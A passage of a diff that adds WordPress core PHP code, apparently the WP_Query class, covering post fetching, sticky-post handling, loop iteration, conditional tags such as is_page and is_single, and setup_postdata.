+		$split_the_query = ( $old_request == $this->request && "$wpdb->posts.*" == $fields && !empty( $limits ) && $q['posts_per_page'] < 500 );
+
+		/**
+		 * Filter whether to split the query.
+		 *
+		 * Splitting the query will cause it to fetch just the IDs of the found posts
+		 * (and then individually fetch each post by ID), rather than fetching every
+		 * complete row at once. One massive result vs. many small results.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param bool     $split_the_query Whether or not to split the query.
+		 * @param WP_Query $this            The WP_Query instance.
+		 */
+		$split_the_query = apply_filters( 'split_the_query', $split_the_query, $this );
+
+		if ( $split_the_query ) {
+			// First get the IDs and then fill in the objects
+
+			$this->request = "SELECT $found_rows $distinct $wpdb->posts.ID FROM $wpdb->posts $join WHERE 1=1 $where $groupby $orderby $limits";
+
+			/**
+			 * Filter the Post IDs SQL request before sending.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param string   $request The post ID request.
+			 * @param WP_Query $this    The WP_Query instance.
+			 */
+			$this->request = apply_filters( 'posts_request_ids', $this->request, $this );
+
+			$ids = $wpdb->get_col( $this->request );
+
+			if ( $ids ) {
+				$this->posts = $ids;
+				$this->set_found_posts( $q, $limits );
+				_prime_post_caches( $ids, $q['update_post_term_cache'], $q['update_post_meta_cache'] );
+			} else {
+				$this->posts = array();
+			}
+		} else {
+			$this->posts = $wpdb->get_results( $this->request );
+			$this->set_found_posts( $q, $limits );
+		}
+
+		// Convert to WP_Post objects
+		if ( $this->posts )
+			$this->posts = array_map( 'get_post', $this->posts );
+
+		if ( ! $q['suppress_filters'] ) {
+			/**
+			 * Filter the raw post results array, prior to status checks.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param array    $posts The post results array.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$this->posts = apply_filters_ref_array( 'posts_results', array( $this->posts, &$this ) );
+		}
+
+		if ( !empty($this->posts) && $this->is_comment_feed && $this->is_singular ) {
+			/** This filter is documented in wp-includes/query.php */
+			$cjoin = apply_filters_ref_array( 'comment_feed_join', array( '', &$this ) );
+
+			/** This filter is documented in wp-includes/query.php */
+			$cwhere = apply_filters_ref_array( 'comment_feed_where', array( "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'", &$this ) );
+
+			/** This filter is documented in wp-includes/query.php */
+			$cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( '', &$this ) );
+			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
+
+			/** This filter is documented in wp-includes/query.php */
+			$corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) );
+			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
+
+			/** This filter is documented in wp-includes/query.php */
+			$climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option('posts_per_rss'), &$this ) );
+
+			$comments_request = "SELECT $wpdb->comments.* FROM $wpdb->comments $cjoin $cwhere $cgroupby $corderby $climits";
+			$this->comments = $wpdb->get_results($comments_request);
+			$this->comment_count = count($this->comments);
+		}
+
+		// Check post status to determine if post should be displayed.
+		if ( !empty($this->posts) && ($this->is_single || $this->is_page) ) {
+			$status = get_post_status($this->posts[0]);
+			$post_status_obj = get_post_status_object($status);
+			//$type = get_post_type($this->posts[0]);
+			if ( !$post_status_obj->public ) {
+				if ( ! is_user_logged_in() ) {
+					// User must be logged in to view unpublished posts.
+					$this->posts = array();
+				} else {
+					if  ( $post_status_obj->protected ) {
+						// User must have edit permissions on the draft to preview.
+						if ( ! current_user_can($edit_cap, $this->posts[0]->ID) ) {
+							$this->posts = array();
+						} else {
+							$this->is_preview = true;
+							if ( 'future' != $status )
+								$this->posts[0]->post_date = current_time('mysql');
+						}
+					} elseif ( $post_status_obj->private ) {
+						if ( ! current_user_can($read_cap, $this->posts[0]->ID) )
+							$this->posts = array();
+					} else {
+						$this->posts = array();
+					}
+				}
+			}
+
+			if ( $this->is_preview && $this->posts && current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
+				/**
+				 * Filter the single post for preview mode.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param WP_Post  $post_preview  The Post object.
+				 * @param WP_Query &$this         The WP_Query instance (passed by reference).
+				 */
+				$this->posts[0] = get_post( apply_filters_ref_array( 'the_preview', array( $this->posts[0], &$this ) ) );
+			}
+		}
+
+		// Put sticky posts at the top of the posts array
+		$sticky_posts = get_option('sticky_posts');
+		if ( $this->is_home && $page <= 1 && is_array($sticky_posts) && !empty($sticky_posts) && !$q['ignore_sticky_posts'] ) {
+			$num_posts = count($this->posts);
+			$sticky_offset = 0;
+			// Loop over posts and relocate stickies to the front.
+			for ( $i = 0; $i < $num_posts; $i++ ) {
+				if ( in_array($this->posts[$i]->ID, $sticky_posts) ) {
+					$sticky_post = $this->posts[$i];
+					// Remove sticky from current position
+					array_splice($this->posts, $i, 1);
+					// Move to front, after other stickies
+					array_splice($this->posts, $sticky_offset, 0, array($sticky_post));
+					// Increment the sticky offset. The next sticky will be placed at this offset.
+					$sticky_offset++;
+					// Remove post from sticky posts array
+					$offset = array_search($sticky_post->ID, $sticky_posts);
+					unset( $sticky_posts[$offset] );
+				}
+			}
+
+			// If any posts have been excluded specifically, Ignore those that are sticky.
+			if ( !empty($sticky_posts) && !empty($q['post__not_in']) )
+				$sticky_posts = array_diff($sticky_posts, $q['post__not_in']);
+
+			// Fetch sticky posts that weren't in the query results
+			if ( !empty($sticky_posts) ) {
+				$stickies = get_posts( array(
+					'post__in' => $sticky_posts,
+					'post_type' => $post_type,
+					'post_status' => 'publish',
+					'nopaging' => true
+				) );
+
+				foreach ( $stickies as $sticky_post ) {
+					array_splice( $this->posts, $sticky_offset, 0, array( $sticky_post ) );
+					$sticky_offset++;
+				}
+			}
+		}
+
+		if ( ! $q['suppress_filters'] ) {
+			/**
+			 * Filter the array of retrieved posts after they've been fetched and
+			 * internally processed.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param array    $posts The array of retrieved posts.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$this->posts = apply_filters_ref_array( 'the_posts', array( $this->posts, &$this ) );
+		}
+
+		// Ensure that any posts added/modified via one of the filters above are
+		// of the type WP_Post and are filtered.
+		if ( $this->posts ) {
+			$this->post_count = count( $this->posts );
+
+			$this->posts = array_map( 'get_post', $this->posts );
+
+			if ( $q['cache_results'] )
+				update_post_caches($this->posts, $post_type, $q['update_post_term_cache'], $q['update_post_meta_cache']);
+
+			$this->post = reset( $this->posts );
+		} else {
+			$this->post_count = 0;
+			$this->posts = array();
+		}
+
+		return $this->posts;
+	}
+
+	/**
+	 * Set up the amount of found posts and the number of pages (if limit clause was used)
+	 * for the current query.
+	 *
+	 * @since 3.5.0
+	 * @access private
+	 */
+	private function set_found_posts( $q, $limits ) {
+		global $wpdb;
+
+		// Bail if posts is an empty array. Continue if posts is an empty string,
+		// null, or false to accommodate caching plugins that fill posts later.
+		if ( $q['no_found_rows'] || ( is_array( $this->posts ) && ! $this->posts ) )
+			return;
+
+		if ( ! empty( $limits ) ) {
+			/**
+			 * Filter the query to run for retrieving the found posts.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $found_posts The query to run to find the found posts.
+			 * @param WP_Query &$this       The WP_Query instance (passed by reference).
+			 */
+			$this->found_posts = $wpdb->get_var( apply_filters_ref_array( 'found_posts_query', array( 'SELECT FOUND_ROWS()', &$this ) ) );
+		} else {
+			$this->found_posts = count( $this->posts );
+		}
+
+		/**
+		 * Filter the number of found posts for the query.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param int      $found_posts The number of posts found.
+		 * @param WP_Query &$this       The WP_Query instance (passed by reference).
+		 */
+		$this->found_posts = apply_filters_ref_array( 'found_posts', array( $this->found_posts, &$this ) );
+
+		if ( ! empty( $limits ) )
+			$this->max_num_pages = ceil( $this->found_posts / $q['posts_per_page'] );
+	}
+
+	/**
+	 * Set up the next post and iterate current post index.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return WP_Post Next post.
+	 */
+	public function next_post() {
+
+		$this->current_post++;
+
+		$this->post = $this->posts[$this->current_post];
+		return $this->post;
+	}
+
+	/**
+	 * Sets up the current post.
+	 *
+	 * Retrieves the next post, sets up the post, sets the 'in the loop'
+	 * property to true.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	public function the_post() {
+		global $post;
+		$this->in_the_loop = true;
+
+		if ( $this->current_post == -1 ) // loop has just started
+			/**
+			 * Fires once the loop is started.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			do_action_ref_array( 'loop_start', array( &$this ) );
+
+		$post = $this->next_post();
+		$this->setup_postdata( $post );
+	}
+
+	/**
+	 * Whether there are more posts available in the loop.
+	 *
+	 * Calls action 'loop_end', when the loop is complete.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool True if posts are available, false if end of loop.
+	 */
+	public function have_posts() {
+		if ( $this->current_post + 1 < $this->post_count ) {
+			return true;
+		} elseif ( $this->current_post + 1 == $this->post_count && $this->post_count > 0 ) {
+			/**
+			 * Fires once the loop has ended.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			do_action_ref_array( 'loop_end', array( &$this ) );
+			// Do some cleaning up after the loop
+			$this->rewind_posts();
+		}
+
+		$this->in_the_loop = false;
+		return false;
+	}
+
+	/**
+	 * Rewind the posts and reset post index.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	public function rewind_posts() {
+		$this->current_post = -1;
+		if ( $this->post_count > 0 ) {
+			$this->post = $this->posts[0];
+		}
+	}
+
+	/**
+	 * Iterate current comment index and return comment object.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 *
+	 * @return object Comment object.
+	 */
+	public function next_comment() {
+		$this->current_comment++;
+
+		$this->comment = $this->comments[$this->current_comment];
+		return $this->comment;
+	}
+
+	/**
+	 * Sets up the current comment.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @global object $comment Current comment.
+	 */
+	public function the_comment() {
+		global $comment;
+
+		$comment = $this->next_comment();
+
+		if ( $this->current_comment == 0 ) {
+			/**
+			 * Fires once the comment loop is started.
+			 *
+			 * @since 2.2.0
+			 */
+			do_action( 'comment_loop_start' );
+		}
+	}
+
+	/**
+	 * Whether there are more comments available.
+	 *
+	 * Automatically rewinds comments when finished.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 *
+	 * @return bool True, if more comments. False, if no more posts.
+	 */
+	public function have_comments() {
+		if ( $this->current_comment + 1 < $this->comment_count ) {
+			return true;
+		} elseif ( $this->current_comment + 1 == $this->comment_count ) {
+			$this->rewind_comments();
+		}
+
+		return false;
+	}
+
+	/**
+	 * Rewind the comments, resets the comment index and comment to first.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 */
+	public function rewind_comments() {
+		$this->current_comment = -1;
+		if ( $this->comment_count > 0 ) {
+			$this->comment = $this->comments[0];
+		}
+	}
+
+	/**
+	 * Sets up the WordPress query by parsing query string.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query URL query string.
+	 * @return array List of posts.
+	 */
+	public function query( $query ) {
+		$this->init();
+		$this->query = $this->query_vars = wp_parse_args( $query );
+		return $this->get_posts();
+	}
+
+	/**
+	 * Retrieve queried object.
+	 *
+	 * If queried object is not set, then the queried object will be set from
+	 * the category, tag, taxonomy, posts page, single post, page, or author
+	 * query variable. After it is set up, it will be returned.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return object
+	 */
+	public function get_queried_object() {
+		if ( isset($this->queried_object) )
+			return $this->queried_object;
+
+		$this->queried_object = null;
+		$this->queried_object_id = 0;
+
+		if ( $this->is_category || $this->is_tag || $this->is_tax ) {
+			if ( $this->is_category ) {
+				if ( $this->get( 'cat' ) ) {
+					$term = get_term( $this->get( 'cat' ), 'category' );
+				} elseif ( $this->get( 'category_name' ) ) {
+					$term = get_term_by( 'slug', $this->get( 'category_name' ), 'category' );
+				}
+			} elseif ( $this->is_tag ) {
+				if ( $this->get( 'tag_id' ) ) {
+					$term = get_term( $this->get( 'tag_id' ), 'post_tag' );
+				} elseif ( $this->get( 'tag' ) ) {
+					$term = get_term_by( 'slug', $this->get( 'tag' ), 'post_tag' );
+				}
+			} else {
+				// For other tax queries, grab the first term from the first clause.
+				$tax_query_in_and = wp_list_filter( $this->tax_query->queried_terms, array( 'operator' => 'NOT IN' ), 'NOT' );
+
+				$queried_taxonomies = array_keys( $tax_query_in_and );
+				$matched_taxonomy = reset( $queried_taxonomies );
+				$query = $tax_query_in_and[ $matched_taxonomy ];
+
+				if ( $query['terms'] ) {
+					if ( 'term_id' == $query['field'] ) {
+						$term = get_term( reset( $query['terms'] ), $matched_taxonomy );
+					} else {
+						$term = get_term_by( $query['field'], reset( $query['terms'] ), $matched_taxonomy );
+					}
+				}
+			}
+
+			if ( ! empty( $term ) && ! is_wp_error( $term ) )  {
+				$this->queried_object = $term;
+				$this->queried_object_id = (int) $term->term_id;
+
+				if ( $this->is_category && 'category' === $this->queried_object->taxonomy )
+					_make_cat_compat( $this->queried_object );
+			}
+		} elseif ( $this->is_post_type_archive ) {
+			$post_type = $this->get( 'post_type' );
+			if ( is_array( $post_type ) )
+				$post_type = reset( $post_type );
+			$this->queried_object = get_post_type_object( $post_type );
+		} elseif ( $this->is_posts_page ) {
+			$page_for_posts = get_option('page_for_posts');
+			$this->queried_object = get_post( $page_for_posts );
+			$this->queried_object_id = (int) $this->queried_object->ID;
+		} elseif ( $this->is_singular && ! empty( $this->post ) ) {
+			$this->queried_object = $this->post;
+			$this->queried_object_id = (int) $this->post->ID;
+		} elseif ( $this->is_author ) {
+			$this->queried_object_id = (int) $this->get('author');
+			$this->queried_object = get_userdata( $this->queried_object_id );
+		}
+
+		return $this->queried_object;
+	}
+
+	/**
+	 * Retrieve ID of the current queried object.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return int
+	 */
+	public function get_queried_object_id() {
+		$this->get_queried_object();
+
+		if ( isset($this->queried_object_id) ) {
+			return $this->queried_object_id;
+		}
+
+		return 0;
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * Sets up the WordPress query, if parameter is not empty.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query URL query string.
+	 * @return WP_Query
+	 */
+	public function __construct($query = '') {
+		if ( ! empty($query) ) {
+			$this->query($query);
+		}
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, otherwise false.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	/**
+ 	 * Is the query for an existing archive page?
+ 	 *
+ 	 * Month, Year, Category, Author, Post Type archive...
+	 *
+ 	 * @since 3.1.0
+ 	 *
+ 	 * @return bool
+ 	 */
+	public function is_archive() {
+		return (bool) $this->is_archive;
+	}
+
+	/**
+	 * Is the query for an existing post type archive page?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $post_types Optional. Post type or array of posts types to check against.
+	 * @return bool
+	 */
+	public function is_post_type_archive( $post_types = '' ) {
+		if ( empty( $post_types ) || ! $this->is_post_type_archive )
+			return (bool) $this->is_post_type_archive;
+
+		$post_type = $this->get( 'post_type' );
+		if ( is_array( $post_type ) )
+			$post_type = reset( $post_type );
+		$post_type_object = get_post_type_object( $post_type );
+
+		return in_array( $post_type_object->name, (array) $post_types );
+	}
+
+	/**
+	 * Is the query for an existing attachment page?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $attachment Attachment ID, title, slug, or array of such.
+	 * @return bool
+	 */
+	public function is_attachment( $attachment = '' ) {
+		if ( ! $this->is_attachment ) {
+			return false;
+		}
+
+		if ( empty( $attachment ) ) {
+			return true;
+		}
+
+		$attachment = (array) $attachment;
+
+		$post_obj = $this->get_queried_object();
+
+		if ( in_array( $post_obj->ID, $attachment ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_title, $attachment ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_name, $attachment ) ) {
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing author archive page?
+	 *
+	 * If the $author parameter is specified, this function will additionally
+	 * check if the query is for one of the authors specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $author Optional. User ID, nickname, nicename, or array of User IDs, nicknames, and nicenames
+	 * @return bool
+	 */
+	public function is_author( $author = '' ) {
+		if ( !$this->is_author )
+			return false;
+
+		if ( empty($author) )
+			return true;
+
+		$author_obj = $this->get_queried_object();
+
+		$author = (array) $author;
+
+		if ( in_array( $author_obj->ID, $author ) )
+			return true;
+		elseif ( in_array( $author_obj->nickname, $author ) )
+			return true;
+		elseif ( in_array( $author_obj->user_nicename, $author ) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing category archive page?
+	 *
+	 * If the $category parameter is specified, this function will additionally
+	 * check if the query is for one of the categories specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $category Optional. Category ID, name, slug, or array of Category IDs, names, and slugs.
+	 * @return bool
+	 */
+	public function is_category( $category = '' ) {
+		if ( !$this->is_category )
+			return false;
+
+		if ( empty($category) )
+			return true;
+
+		$cat_obj = $this->get_queried_object();
+
+		$category = (array) $category;
+
+		if ( in_array( $cat_obj->term_id, $category ) )
+			return true;
+		elseif ( in_array( $cat_obj->name, $category ) )
+			return true;
+		elseif ( in_array( $cat_obj->slug, $category ) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing tag archive page?
+	 *
+	 * If the $tag parameter is specified, this function will additionally
+	 * check if the query is for one of the tags specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $tag Optional. Tag ID, name, slug, or array of Tag IDs, names, and slugs.
+	 * @return bool
+	 */
+	public function is_tag( $tag = '' ) {
+		if ( ! $this->is_tag )
+			return false;
+
+		if ( empty( $tag ) )
+			return true;
+
+		$tag_obj = $this->get_queried_object();
+
+		$tag = (array) $tag;
+
+		if ( in_array( $tag_obj->term_id, $tag ) )
+			return true;
+		elseif ( in_array( $tag_obj->name, $tag ) )
+			return true;
+		elseif ( in_array( $tag_obj->slug, $tag ) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing taxonomy archive page?
+	 *
+	 * If the $taxonomy parameter is specified, this function will additionally
+	 * check if the query is for that specific $taxonomy.
+	 *
+	 * If the $term parameter is specified in addition to the $taxonomy parameter,
+	 * this function will additionally check if the query is for one of the terms
+	 * specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $taxonomy Optional. Taxonomy slug or slugs.
+	 * @param mixed $term. Optional. Term ID, name, slug or array of Term IDs, names, and slugs.
+	 * @return bool
+	 */
+	public function is_tax( $taxonomy = '', $term = '' ) {
+		global $wp_taxonomies;
+
+		if ( !$this->is_tax )
+			return false;
+
+		if ( empty( $taxonomy ) )
+			return true;
+
+		$queried_object = $this->get_queried_object();
+		$tax_array = array_intersect( array_keys( $wp_taxonomies ), (array) $taxonomy );
+		$term_array = (array) $term;
+
+		// Check that the taxonomy matches.
+		if ( ! ( isset( $queried_object->taxonomy ) && count( $tax_array ) && in_array( $queried_object->taxonomy, $tax_array ) ) )
+			return false;
+
+		// Only a Taxonomy provided.
+		if ( empty( $term ) )
+			return true;
+
+		return isset( $queried_object->term_id ) &&
+			count( array_intersect(
+				array( $queried_object->term_id, $queried_object->name, $queried_object->slug ),
+				$term_array
+			) );
+	}
+
+	/**
+	 * Whether the current URL is within the comments popup window.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_comments_popup() {
+		return (bool) $this->is_comments_popup;
+	}
+
+	/**
+	 * Is the query for an existing date archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_date() {
+		return (bool) $this->is_date;
+	}
+
+	/**
+	 * Is the query for an existing day archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_day() {
+		return (bool) $this->is_day;
+	}
+
+	/**
+	 * Is the query for a feed?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string|array $feeds Optional feed types to check.
+	 * @return bool
+	 */
+	public function is_feed( $feeds = '' ) {
+		if ( empty( $feeds ) || ! $this->is_feed )
+			return (bool) $this->is_feed;
+		$qv = $this->get( 'feed' );
+		if ( 'feed' == $qv )
+			$qv = get_default_feed();
+		return in_array( $qv, (array) $feeds );
+	}
+
+	/**
+	 * Is the query for a comments feed?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_comment_feed() {
+		return (bool) $this->is_comment_feed;
+	}
+
+	/**
+	 * Is the query for the front page of the site?
+	 *
+	 * This is for what is displayed at your site's main URL.
+	 *
+	 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
+	 *
+	 * If you set a static page for the front page of your site, this function will return
+	 * true when viewing that page.
+	 *
+	 * Otherwise the same as @see WP_Query::is_home()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool True, if front of site.
+	 */
+	public function is_front_page() {
+		// most likely case
+		if ( 'posts' == get_option( 'show_on_front') && $this->is_home() )
+			return true;
+		elseif ( 'page' == get_option( 'show_on_front') && get_option( 'page_on_front' ) && $this->is_page( get_option( 'page_on_front' ) ) )
+			return true;
+		else
+			return false;
+	}
+
+	/**
+	 * Is the query for the blog homepage?
+	 *
+	 * This is the page which shows the time based blog content of your site.
+	 *
+	 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_for_posts'.
+	 *
+	 * If you set a static page for the front page of your site, this function will return
+	 * true only on the page you set as the "Posts page".
+	 *
+	 * @see WP_Query::is_front_page()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool True if blog view homepage.
+	 */
+	public function is_home() {
+		return (bool) $this->is_home;
+	}
+
+	/**
+	 * Is the query for an existing month archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_month() {
+		return (bool) $this->is_month;
+	}
+
+	/**
+	 * Is the query for an existing single page?
+	 *
+	 * If the $page parameter is specified, this function will additionally
+	 * check if the query is for one of the pages specified.
+	 *
+	 * @see WP_Query::is_single()
+	 * @see WP_Query::is_singular()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $page Page ID, title, slug, path, or array of such.
+	 * @return bool
+	 */
+	public function is_page( $page = '' ) {
+		if ( !$this->is_page )
+			return false;
+
+		if ( empty( $page ) )
+			return true;
+
+		$page_obj = $this->get_queried_object();
+
+		$page = (array) $page;
+
+		if ( in_array( $page_obj->ID, $page ) ) {
+			return true;
+		} elseif ( in_array( $page_obj->post_title, $page ) ) {
+			return true;
+		} else if ( in_array( $page_obj->post_name, $page ) ) {
+			return true;
+		} else {
+			foreach ( $page as $pagepath ) {
+				if ( ! strpos( $pagepath, '/' ) ) {
+					continue;
+				}
+				$pagepath_obj = get_page_by_path( $pagepath );
+
+				if ( $pagepath_obj && ( $pagepath_obj->ID == $page_obj->ID ) ) {
+					return true;
+				}
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Is the query for paged result and not for the first page?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_paged() {
+		return (bool) $this->is_paged;
+	}
+
+	/**
+	 * Is the query for a post or page preview?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_preview() {
+		return (bool) $this->is_preview;
+	}
+
+	/**
+	 * Is the query for the robots file?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_robots() {
+		return (bool) $this->is_robots;
+	}
+
+	/**
+	 * Is the query for a search?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_search() {
+		return (bool) $this->is_search;
+	}
+
+	/**
+	 * Is the query for an existing single post?
+	 *
+	 * Works for any post type, except attachments and pages
+	 *
+	 * If the $post parameter is specified, this function will additionally
+	 * check if the query is for one of the Posts specified.
+	 *
+	 * @see WP_Query::is_page()
+	 * @see WP_Query::is_singular()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $post Post ID, title, slug, path, or array of such.
+	 * @return bool
+	 */
+	public function is_single( $post = '' ) {
+		if ( !$this->is_single )
+			return false;
+
+		if ( empty($post) )
+			return true;
+
+		$post_obj = $this->get_queried_object();
+
+		$post = (array) $post;
+
+		if ( in_array( $post_obj->ID, $post ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_title, $post ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_name, $post ) ) {
+			return true;
+		} else {
+			foreach ( $post as $postpath ) {
+				if ( ! strpos( $postpath, '/' ) ) {
+					continue;
+				}
+				$postpath_obj = get_page_by_path( $postpath, OBJECT, $post_obj->post_type );
+
+				if ( $postpath_obj && ( $postpath_obj->ID == $post_obj->ID ) ) {
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing single post of any post type (post, attachment, page, ... )?
+	 *
+	 * If the $post_types parameter is specified, this function will additionally
+	 * check if the query is for one of the Posts Types specified.
+	 *
+	 * @see WP_Query::is_page()
+	 * @see WP_Query::is_single()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $post_types Optional. Post Type or array of Post Types
+	 * @return bool
+	 */
+	public function is_singular( $post_types = '' ) {
+		if ( empty( $post_types ) || !$this->is_singular )
+			return (bool) $this->is_singular;
+
+		$post_obj = $this->get_queried_object();
+
+		return in_array( $post_obj->post_type, (array) $post_types );
+	}
+
+	/**
+	 * Is the query for a specific time?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_time() {
+		return (bool) $this->is_time;
+	}
+
+	/**
+	 * Is the query for a trackback endpoint call?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_trackback() {
+		return (bool) $this->is_trackback;
+	}
+
+	/**
+	 * Is the query for an existing year archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_year() {
+		return (bool) $this->is_year;
+	}
+
+	/**
+	 * Is the query a 404 (returns no results)?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_404() {
+		return (bool) $this->is_404;
+	}
+
+	/**
+	 * Is the query the main query?
+	 *
+	 * @since 3.3.0
+	 *
+	 * @return bool
+	 */
+	public function is_main_query() {
+		global $wp_the_query;
+		return $wp_the_query === $this;
+	}
+
+	/**
+	 * Set up global post data.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param WP_Post $post Post data.
+	 * @return bool True when finished.
+	 */
+	public function setup_postdata( $post ) {
+		global $id, $authordata, $currentday, $currentmonth, $page, $pages, $multipage, $more, $numpages;
+
+		$id = (int) $post->ID;
+
+		$authordata = get_userdata($post->post_author);
+
+		$currentday = mysql2date('d.m.y', $post->post_date, false);
+		$currentmonth = mysql2date('m', $post->post_date, false);
+		$numpages = 1;
+		$multipage = 0;
+		$page = $this->get( 'page' );
+		if ( ! $page )
+			$page = 1;
+
+		/*
+		 * Force full post content when viewing the permalink for the $post,
+		 * or when on an RSS feed. Otherwise respect the 'more' tag.
+		 */
+		if ( $post->ID === get_queried_object_id() && ( $this->is_page() || $this->is_single() ) ) {
+			$more = 1;
+		} else if ( $this->is_feed() ) {
+			$more = 1;
+		} else {
+			$more = 0;
+		}
+
+		$content = $post->post_content;
+		if ( false !== strpos( $content, '<!--nextpage-->' ) ) {
+			if ( $page > 1 )
+				$more = 1;
+			$content = str_replace( "\n<!--nextpage-->\n", '<!--nextpage-->', $content );
+			$content = str_replace( "\n<!--nextpage-->", '<!--nextpage-->', $content );
+			$content = str_replace( "<!--nextpage-->\n", '<!--nextpage-->', $content );
+
+			// Ignore nextpage at the beginning of the content.
+			if ( 0 === strpos( $content, '<!--nextpage-->' ) )
+				$content = substr( $content, 15 );
+
+			$pages = explode('<!--nextpage-->', $content);
+			$numpages = count($pages);
+			if ( $numpages > 1 )
+				$multipage = 1;
+		} else {
+			$pages = array( $post->post_content );
+		}
+
+		/**
+		 * Fires once the post data has been setup.
+		 *
+		 * @since 2.8.0
+		 * @since 4.1.0 Introduced `$this` parameter.
+		 *
+		 * @param WP_Post  &$post The Post object (passed by reference).
+		 * @param WP_Query &$this The current Query object (passed by reference).
+		 */
+		do_action_ref_array( 'the_post', array( &$post, &$this ) );
+
+		return true;
+	}
+	/**
+	 * After looping through a nested query, this function
+	 * restores the $post global to the current post in this query.
+	 *
+	 * @since 3.7.0
+	 */
+	public function reset_postdata() {
+		if ( ! empty( $this->post ) ) {
